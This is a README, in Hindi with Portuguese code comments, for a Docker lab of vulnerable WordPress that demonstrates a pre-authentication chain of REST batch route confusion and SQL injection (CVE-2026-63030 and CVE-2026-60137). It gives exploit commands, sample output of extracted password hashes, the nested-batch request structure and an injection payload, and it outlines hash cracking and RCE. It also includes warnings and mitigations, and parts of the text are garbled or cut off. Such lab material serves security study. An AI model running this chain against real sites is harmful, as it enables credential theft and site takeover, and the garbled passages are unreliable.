
Docker-आधारित असुरक्षित WordPress लैब, जिसमें Python एक्सप्लॉइट क्रेडेंशियल निष्कर्षण और RCE हेतु प्री-ऑथ रूट कन्फ्यूजन तथा SQL इंजेक्शन श्रृंखला (CVE-2026-63030 + CVE-2026-60137) का प्रदर्शन करता है।
| CVE | घटक | विवरण |
|---|
| CVE-2026-63030 | REST API /wp-json/batch/v1 | रूट कन्फ्यूज़न: सब-रिक्वेस्ट की वैलिडेशन और dispatch के बीच डीसिंक्रनाइज़ेशन |
| CVE-2026-60137 | WP_Query (author__not_in) | SQL injection जब मान string होता है array के बजाय |
ये श्रृंखलाबद्ध होकर, एक हमलावर को बिना किसी क्रेडेंशियल के मनमाना SQL निष्पादित करने की अनुमति देती हैं (और पूरी श्रृंखला में, RCE तक पहुँचती हैं)। WordPress 6.9.5 और 7.0.2 में ठीक किया गया। RCE श्रृंखला से प्रभावित संस्करण: 6.9.0–6.9.4 और 7.0.0–7.0.1।
⚠️ चेतावनी: जानबूझकर असुरक्षित वातावरण। केवल स्थानीय रूप से, अलग-थलग उपयोग करें। इसे इंटरनेट पर कभी एक्सपोज़ न करें। Exploit का उपयोग केवल इसी lab (या उन सिस्टम्स) के विरुद्ध किया जाना चाहिए जिनके लिए आपके पास स्पष्ट अनुमति है।
docker compose up -d db wordpress # sobe MySQL + WordPress 7.0.1
docker compose run --rm wpcli # instala o WP e cria conteúdo/usuários
इससे निर्माण होता है:
admin / SuperSecret123!victim / Victim_P@ss_2026 (दूसरा एडमिन, हैश एक्सट्रैक्शन का लक्ष्य)get_items() को पंक्तियाँ लौटाने के लिए आवश्यक है)कमजोर संस्करण की पुष्टि करें:
curl -s "http://localhost:8080/index.php?rest_route=/" | grep -o '"version":"[^"]*"'
# ... ou:
docker exec wp2shell-cli wp core version # 7.0.1
python3 exploit.py --url http://localhost:8080
आउटपुट (संक्षिप्त):
[+] Route confusion OK: GET /wp/v2/users executou sob posts get_items()
[+] SQL injection cega confirmada (oráculo booleano 1=1 vs 1=2)
[*] Fingerprint do banco de dados:
versão MySQL = 8.0.46
usuário atual = wordpress@%
database = wordpress
[+] Credenciais extraídas (pré-autenticação, sem login):
ID=1 login=admin
hash=$wp$2y$10$tjd0.l/QQOhp9eQpwrufMuYVrjv4kVoJMfmA3f2ZZew51rND7o94q
ID=2 login=victim
hash=$wp$2y$10$3Nv1oxyfIe/yKqNd/AUZSOZqQYWiJHfNAKBPdbjMhqTtVBDbuBO0e
अन्य विकल्प:
python3 exploit.py --url http://localhost:8080 --sql "SELECT @@version" # SQL arbitrário
python3 exploit.py --url http://localhost:8080 --mode time # blind time-based
python3 exploit.py --url http://localhost:8080 -v # mostra cada query
Exploit केवल Python 3 की मानक लाइब्रेरी का उपयोग करता है (बिना किसी निर्भरता के)।
docker exec wp2shell-db mysql -uroot -prootpass -N \
-e "SELECT ID,user_login,user_pass FROM wordpress.wp_users;"
हैश बिल्कुल समान होने चाहिए exploit द्वारा निकाले गए हैशों के (जिसके पास कभी डेटाबेस तक पहुँच नहीं थी)।
serve_batch_request_v1)wp-includes/rest-api/class-wp-rest-server.php में, batch हैंडलर दो समानांतर arrays का उपयोग करता है: $matches (मिलान किए गए रूट/हैंडलर) और $validation (वैलिडेशन का परिणाम):
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) { // ex.: path "///" -> wp_parse_url()==false
$has_error = true;
$validation[] = $single_request; // <-- entra SÓ em $validation
continue; // <-- $matches NÃO recebe entrada => desync!
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
$validation[] = $error ? $error : true;
}
Dispatch में, हैंडलर को $matches[$i] में इंडेक्स द्वारा पढ़ा जाता है, जबकि $single_request और $validation[$i] $requests के पूर्ण इंडेक्स का अनुसरण करते हैं। एक primer जो parse में विफल होता है ("///"), $matches में सब कुछ एक स्थिति आगे खिसका देता है — इसलिए एक sub-request दूसरे के हैंडलर के अंतर्गत निष्पादित होती है।
Batch schema केवल POST/PUT/PATCH/DELETE विधियों को स्वीकार करता है (GET rest_not_in_enum के साथ अस्वीकार किया जाता है)। Exploit इससे batch के अंदर batch बनाकर निपटता है:
BATCH EXTERNO (métodos válidos):
[ primer("///"),
carrier = POST /wp/v2/posts (body = BATCH INTERNO),
POST /batch/v1 ]
carrier एक create_item पोस्ट के रूप में वैध है (पास: allow_batch=true, बिना अनिवार्य params के)। चूँकि इसे batch के रूप में वैध नहीं किया गया है, इसका body मेथड enum की वैलिडेशन से बच जाता है।carrier को /batch/v1 हैंडलर के अंतर्गत dispatch कराता है (तीसरी sub-request से चुराया गया) → serve_batch_request_v1 कच्चे body को प्रोसेस करता है, जिसमें GET sub-requests होती हैं।BATCH INTERNO:
[ primer("///"),
GET /wp/v2/users?author_exclude=<PAYLOAD>, <-- users NÃO define author_exclude => valor cru
GET /wp/v2/posts ]
नया आंतरिक desync → GET /wp/v2/users रिक्वेस्ट (गैर-सैनिटाइज़ किया गया author_exclude लेकर) posts get_items() के अंतर्गत निष्पादित होती है। वहाँ:
// class-wp-rest-posts-controller.php
'author_exclude' => 'author__not_in', // mapeamento
और WP_Query (class-wp-query.php) में, कमजोर कोड:
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // <-- string PULA a sanitização
$query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );
sort( ... );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // <-- injeção
}
उपयोग किया गया बूलियन payload: 0) AND (<condição>)-- -, जो WHERE को एक oracle में बदल देता है (पोस्ट वाली सूची = सत्य; खाली सूची = असत्य)। बाइनरी सर्च द्वारा चार-दर-चार निष्कर्षण।
नोट: यह पथ तब पहुँच योग्य है जब कोई persistent object cache नहीं होता है (lab का डिफ़ॉल्ट), जैसा कि advisory में वर्णित है।
यह lab प्री-ऑथेंटिकेशन भाग (route confusion → SQLi → हैश लीक) को मान्य करता है, जो श्रृंखला का मूल है। Advisory की पूरी अनुक्रम आगे जारी रहती है:
$wp$2y$... (bcrypt) को ऑफ़लाइन क्रैक करें — hashcat -m 3200।/wp-admin में लॉगिन करें।author__not_in को स्ट्रिंग होने पर भी integers में बाध्य करता है (wp_parse_id_list);/wp-json/batch/v1 को फ़िल्टर करना, अप्रमाणित REST API को अक्षम करना, SQL वाले author_exclude युक्त requests की निगरानी करना।docker compose down -v # remove containers + volumes (dados)